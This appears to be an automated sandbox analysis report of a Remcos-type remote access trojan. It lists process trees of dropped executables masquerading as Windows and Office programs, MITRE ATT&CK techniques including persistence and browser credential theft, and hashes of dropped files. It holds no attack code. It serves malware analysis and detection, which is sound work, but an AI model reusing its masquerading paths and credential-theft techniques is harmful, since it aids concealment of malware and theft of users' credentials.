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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\fishwife.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\fishwife.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3128 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\fishwife.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\fishwife.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5704
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C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:236 -
C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"2⤵
- Executes dropped EXE
PID:4200
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C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"C:\Users\Admin\AppData\Roaming\MicroSoft Outlook\System.exe"2⤵
- Executes dropped EXE
PID:6136
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C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exeC:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2716 -
C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"2⤵
- Executes dropped EXE
PID:4960
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C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"C:\Users\Admin\AppData\Roaming\WindowsSecurity\WindowsDefender.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4088
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C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exeC:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300 -
C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"2⤵
- Executes dropped EXE
PID:1732
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C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5144
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
2Credentials in Registry
1Replay Monitor
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Downloads
- Path C:\ProgramData\remcos\logs.dat
- Size 172B
- SHA256 c84aad27bb4bb6f49d3948a1b1adbcbd3568c4749480662a86799324a6b94bdf
- MD5 2d21cafcb24a7447f822188c19714fe6
- SHA1 16a8b60141ec234943d83e5e902bb73b33fa4395
- SHA512 f17f9b87fe63c6b54645c5be7f178a1a581dc6e3dd27007f9cfd438dde4bd67b3926440dc6867de6f234ba4b281759fc9b8cccd342db50dcd98a3f6248f21c12
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWERPOINT.exe.log
- Size 1KB
- SHA256 954f692df2fb645ad94c0d8a397f8a6776f13bd16d7a4974138fd0f0cb2895f3
- MD5 2f13af6aee5f8bb7506e5bb1c5db5503
- SHA1 f90001d0ddbcf42bdf726d15194c02968e4c6e27
- SHA512 4dcd079e6707e6f087f2ecda602bf54e6e96c275385130d5512eb8da4061fe7d36c57eb32b833a6fb3bfc7860830af161f874f75f78dde34660a9de87b78669b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
- Size 742KB
- SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
- MD5 544cd51a596619b78e9b54b70088307d
- SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
- SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719
- SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_to045h14.ni1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\install.vbs
- Size 440B
- SHA256 0d8b7fb7a06ce19ed2dc64e38501c5caa4addf8217adc278f342ca8bbb6110b1
- MD5 83b92abd4a31fae77fe5abe3adbf21d1
- SHA1 846de7a8612e6d6de2dc22500b21a67a76f79256
- SHA512 ae3996b732653cfbad564d31904333d6b6a545278addc07be6bce6fc25159c7e6b4857bd6edb7b2159d64f87430d56bacdd566b94f0acfe9de678bb0c3ff4520
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\EXCEL.exe
- Size 1.2MB
- SHA256 51e8bfd578ae4e51206ad57e2bf501067e84ee7d0307ada70a1f3a35d907a1bd
- MD5 30a9e8dcd7b316b4dfcd3d0559fb3e36
- SHA1 2c23819f33faf8c26df7e8fc90d3c31cc046cd92
- SHA512 33e1f34e954e0668c8cc71d70df6074df8b5a9c84159e7121cb09bb4a9424d6dc8e76dac068858581246636866801631efc45671551f4f6d886c79cb3cc3fc06
- SSDEEP 24576:SQh2byCnRveYepqMKDmfC4KOSSn2D6ki3:1IvRveYkqM3fC41p2W3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ORGLJDUM-Admin\LoginData
- Size 56KB
- SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
- MD5 0e2c60740cafa19c5158f4aa41a5d4e7
- SHA1 f01d0f359e407fed424c30919ed64b77508b3024
- SHA512 e367b88f1d984f84b9b4a8fa4002ede1afad0d375f9374636250f17e64445a60d1b99fe23a0b314c4b2bd5fd27fe5b87fa4079a84b4497629f238afd8436afe2
- SSDEEP 96:qUfXG38t8KLPeymORCGr25bn8MouB6w9f/rGSEPONy:qUu0RCGr2V7Iw9fFN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\ORGLJDUM-Admin\WebData
- Size 228KB
- SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
- MD5 8ce704458e632d243a023357eec3702f
- SHA1 b4857c6a1e277776b8a08c243917eeae5470aa56
- SHA512 a96d4aded8fd5ce2cfeeaba2bc69a399006bc723e1aa0777989648b2fe8caa7b6d421744c2bcd52b633d0e2d41b951df2cbc91ac64054c7b8cb63f887b496449
- SSDEEP 192:DC3fT8aRJQnGqqrgenLfUK3NDivIz6DoNCPaWaVIdssXVydue2g2C0:e3fQuJQnPqrgWLfUK3hivmY4Cvp68C
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
- Size 5.2MB
- SHA256 cd100ddc8f101788f2f74afcf44e9cbfcd41139431901c8783505f551986b2a7
- MD5 ebfa91b100e6f587a689b09ff58d01cc
- SHA1 96800b813808f08d9dde861c1f442e9032390559
- SHA512 107fa1b31563649747b43bd75167241eed1c85ae92da91be0e3560b7cff6a16f67064bfb9cc5908579346242cdf5150248fe982a8f975fb9f42dc9a59b3aef83
- SSDEEP 49152:gRIIkFAn/2Gnw6nxwXqiMOrENcitrFkPvhGR7thSoWYfy8jg78uoX55Qq32/qenu:sUQ/2a9Or4cW+PvkNDHmsQq32yeDGWJ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
- Size 596KB
- SHA256 7abc66114083c1af5345a564369c5a9a57ede5dc4f8018c679d6fa2073781c19
- MD5 8f0f02eb59fbd12f9bcca7c0c2add3b3
- SHA1 9ce3c627c3f1b276c4c2bd4b1463415b668fbfd2
- SHA512 308469149b30890e6b2d80b295af96a5b9c0b922547afe73608a85bc8a635fa2d17ec312652f2d429772899b48215787d9235a9f0e46b02a7345a06f751e39ef
- SSDEEP 12288:NV1l3zZjrx550omh69bKYzcNCL9ADArlQ:lQh2bKwcSrl
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\WORDS.exe
- Size 1.2MB
- SHA256 594c365596c21b70b4e929a54e88f0abdc2f8641956817881418a57508484912
- MD5 7706808ce47cc70857f4c96a204b2e14
- SHA1 c1d677fb4e1073b2ec3779bcad16f0b235fbc7cc
- SHA512 8fbe4c04ef80c38029c69d35e121bbbd5020068a189bdbe7fd305b971ab31dc7890b7676e7aea2ee1a8c1bd87b4d4e372b29d4f779e0bab28bfce34914c225be
- SSDEEP 24576:WQh2b2mzd3LXvlvCP2erAGJgpZCK/GfJAS:ZIqmZbXt6P2eUnQAS
- MD5 SHA1 SHA512 SSDEEP